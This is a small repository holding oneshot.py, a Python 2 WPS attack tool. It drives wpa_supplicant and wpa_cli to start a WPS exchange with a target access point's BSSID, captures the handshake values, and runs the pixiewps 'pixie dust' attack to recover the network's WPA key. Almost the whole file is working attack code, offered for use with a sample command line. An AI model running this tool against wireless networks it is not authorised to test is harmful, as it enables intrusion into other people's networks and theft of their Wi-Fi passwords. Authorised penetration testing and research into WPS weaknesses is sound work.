├── .gitignore └── oneshot.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | 3 | -------------------------------------------------------------------------------- /oneshot.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import sys, subprocess, os, tempfile, shutil 4 | 5 | class Data(): 6 | def __init__(self): 7 | self.pke = '' 8 | self.pkr = '' 9 | self.e_hash1 = '' 10 | self.e_hash2 = '' 11 | self.authkey = '' 12 | self.e_nonce = '' 13 | self.wpa_psk = '' 14 | self.state = '' 15 | 16 | class Options(): 17 | def __init__(self): 18 | self.interface = None 19 | self.bssid = None 20 | self.pin = None 21 | self.pixiemode = False 22 | self.verbose = False 23 | self.showpixiecmd = False 24 | 25 | def cprint(s, nl=True): 26 | sys.stdout.write(s + ('\n' if nl else '')) 27 | sys.stdout.flush() 28 | 29 | def shellcmd(cmd): 30 | proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) 31 | result = proc.read() 32 | proc.wait() 33 | return result 34 | 35 | def run_wpa_supplicant(options): 36 | options.tempdir = tempfile.mkdtemp() 37 | with tempfile.NamedTemporaryFile(suffix='.conf', delete=False) as temp: 38 | temp.write("ctrl_interface=%s\nctrl_interface_group=root\nupdate_config=1\n"%(options.tempdir)) 39 | options.tempconf=temp.name 40 | cmd = 'wpa_supplicant -K -d -Dnl80211,wext,hostapd,wired -i%s -c%s'%(options.interface, options.tempconf) 41 | proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) 42 | return proc 43 | 44 | def run_wpa_cli(options): 45 | cmd = 'wpa_cli -i%s -p%s'%(options.interface, options.tempdir) 46 | proc = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) 47 | return proc 48 | 49 | def recvuntil(pipe, what): 50 | s = '' 51 | while True: 52 | inp = pipe.stdout.read(1) 53 | if inp == '': return s 54 | s += inp 55 | if what in s: return s 56 | 57 | def got_all_pixie_data(data): 58 | return data.pke and data.pkr and data.e_nonce and data.authkey and data.e_hash1 and data.e_hash2 59 | 60 | def statechange(data, old, new): 61 | cprint('%s -> %s'%(old, new)) 62 | data.state = new 63 | return True 64 | 65 | def process_wpa_supplicant(pipe, options, data): 66 | def get_hex(line): 67 | a = line.split(':', 3) 68 | return a[2].replace(' ', '') 69 | 70 | line = pipe.stdout.readline() 71 | if line == '': 72 | pipe.wait() 73 | return False 74 | line = line.rstrip('\n') 75 | 76 | if options.verbose: cprint(line) 77 | 78 | if line.startswith('WPS: '): 79 | if 'Enrollee Nonce' in line and 'hexdump' in line: 80 | data.e_nonce = get_hex(line) 81 | assert(len(data.e_nonce) == 16*2) 82 | elif 'DH own Public Key' in line and 'hexdump' in line: 83 | data.pkr = get_hex(line) 84 | assert(len(data.pkr) == 192*2) 85 | elif 'DH peer Public Key' in line and 'hexdump' in line: 86 | data.pke = get_hex(line) 87 | assert(len(data.pke) == 192*2) 88 | elif 'AuthKey' in line and 'hexdump' in line: 89 | data.authkey = get_hex(line) 90 | assert(len(data.authkey) == 32*2) 91 | elif 'E-Hash1' in line and 'hexdump' in line: 92 | data.e_hash1 = get_hex(line) 93 | assert(len(data.e_hash1) == 32*2) 94 | elif 'E-Hash2' in line and 'hexdump' in line: 95 | data.e_hash2 = get_hex(line) 96 | assert(len(data.e_hash2) == 32*2) 97 | elif 'Network Key' in line and 'hexdump' in line: 98 | data.wpa_psk = get_hex(line).decode('hex') 99 | elif 'Building Message M' in line: 100 | statechange(data, data.state, 'M' + line.split('Building Message M')[1]) 101 | elif 'Received M' in line: 102 | statechange(data, data.state, 'M' + line.split('Received M')[1]) 103 | 104 | elif ': State: ' in line: 105 | statechange(data, *line.split(': State: ')[1].split(' -> ')) 106 | elif 'WPS-FAIL' in line: 107 | cprint("WPS-FAIL :(") 108 | return False 109 | 110 | elif 'NL80211_CMD_DEL_STATION' in line: 111 | #if data.state == 'ASSOCIATED': 112 | # print "URGH" 113 | cprint("[ERROR]: unexpected interference - kill NetworkManager/wpa_supplicant!") 114 | #return False 115 | elif 'Trying to authenticate with' in line: 116 | cprint(line) 117 | elif 'Authentication response' in line: 118 | cprint(line) 119 | elif 'Trying to associate with' in line: 120 | cprint(line) 121 | elif 'Associated with' in line: 122 | cprint(line) 123 | elif 'EAPOL: txStart' in line: 124 | cprint(line) 125 | 126 | return True 127 | 128 | def die(msg): 129 | sys.stderr.write(msg + '\n') 130 | sys.exit(1) 131 | 132 | def usage(): 133 | die( \ 134 | """ 135 | oneshotpin 0.0.2 (c) 2017 rofl0r 136 | 137 | Required Arguments: 138 | -i, --interface= Name of the interface to use 139 | -b, --bssid= BSSID of the target AP 140 | 141 | Optional Arguments: 142 | -p, --pin= Use the specified pin (arbitrary string or 4/8 digit pin) 143 | -K, --pixie-dust Run pixiedust attack 144 | -X Alway print pixiewps command 145 | -v Verbose output 146 | 147 | Example: 148 | %s -i wlan0 -b 00:90:4C:C1:AC:21 -p 12345670 -K 149 | """ % sys.argv[0]) 150 | 151 | def get_pixie_cmd(data): 152 | return "pixiewps --pke %s --pkr %s --e-hash1 %s --e-hash2 %s --authkey %s --e-nonce %s" % \ 153 | (data.pke, data.pkr, data.e_hash1, data.e_hash2, data.authkey, data.e_nonce) 154 | 155 | def cleanup(wpas, wpac, options): 156 | wpac.stdin.write('terminate\nquit\n') 157 | wpas.terminate() 158 | wpac.terminate() 159 | shutil.rmtree(options.tempdir, ignore_errors=True) 160 | os.remove(options.tempconf) 161 | 162 | if __name__ == '__main__': 163 | options = Options() 164 | 165 | import getopt 166 | optlist, args = getopt.getopt(sys.argv[1:], ":e:i:b:p:XKv", ["help", "interface", "bssid", "pin", "pixie-dust"]) 167 | for a,b in optlist: 168 | if a in ('-i', "--interface"): options.interface = b 169 | elif a in ('-b', "--bssid"): options.bssid = b 170 | elif a in ('-p', "--pin"): options.pin = b 171 | elif a in ('-K', "--pixie-dust"): options.pixiemode = True 172 | elif a in ('-X'): options.showpixiecmd = True 173 | elif a in ('-v'): options.verbose = True 174 | elif a == '--help': usage() 175 | if not options.interface or not options.bssid: 176 | die("missing required argument! (use --help for usage)") 177 | if options.pin == None and not options.pixiemode: 178 | die("you need to supply a pin or enable pixiemode! (use --help for usage)") 179 | if options.pin == None and options.pixiemode: 180 | options.pin = '12345670' 181 | 182 | if os.getuid() != 0: 183 | die("oops, try as root") 184 | 185 | data = Data() 186 | wpas = run_wpa_supplicant(options) 187 | while True: 188 | s = recvuntil(wpas, '\n') 189 | if options.verbose: cprint(s, False) 190 | if 'update_config=1' in s: break 191 | 192 | wpac = run_wpa_cli(options) 193 | recvuntil(wpac, '\n> ') 194 | wpac.stdin.write('wps_reg %s %s\n' % (options.bssid, options.pin)) 195 | # while True: 196 | # sys.stderr.write( wpac.stdout.read(1) ) 197 | recvuntil(wpac, 'OK') 198 | 199 | pixiecmd = None 200 | 201 | while True: 202 | try: 203 | res = process_wpa_supplicant(wpas, options, data) 204 | except KeyboardInterrupt: 205 | cprint("aborting...") 206 | res = False 207 | 208 | if not res: break 209 | 210 | if got_all_pixie_data(data): 211 | pixiecmd = get_pixie_cmd(data) 212 | 213 | if options.pixiemode and pixiecmd: 214 | cleanup(wpas, wpac, options) 215 | cprint("running %s" % pixiecmd) 216 | os.execlp('/bin/sh', '/bin/sh', '-c', pixiecmd) 217 | # shouldnt get here 218 | sys.exit(1) 219 | 220 | if data.wpa_psk: 221 | if options.showpixiecmd and pixiecmd: cprint(pixiecmd) 222 | cleanup(wpas, wpac, options) 223 | cprint("!!! GOT WPA KEY !!!: %s" % data.wpa_psk) 224 | sys.exit(0) 225 | 226 | cprint("hmm, seems something went wrong...") 227 | if options.showpixiecmd and pixiecmd: cprint(pixiecmd) 228 | cleanup(wpas, wpac, options) 229 | sys.exit(1) 230 | --------------------------------------------------------------------------------